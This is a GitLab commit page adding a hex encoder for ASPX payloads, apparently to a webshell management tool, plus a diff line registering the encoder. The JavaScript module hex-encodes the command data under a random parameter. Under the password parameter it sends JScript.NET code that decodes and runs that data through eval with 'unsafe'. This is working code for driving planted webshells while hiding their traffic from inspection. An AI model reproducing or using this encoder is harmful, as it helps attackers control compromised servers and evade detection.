Commit ca5aebb5 authored by Medicean's avatar Medicean

new(aspx):add aspx hex encoder

添加 aspx hex 编码器
parent 97e29a30
//
// aspx::hex 编码模块
//
// 把除了密码的其他参数都 hex 编码一次
//
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = new Buffer(data['_']).toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_'];
return data;
}
\ No newline at end of file
......@@ -36,7 +36,7 @@ class ASPX extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return ['base64'];
return ['base64', 'hex'];
}
/**
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment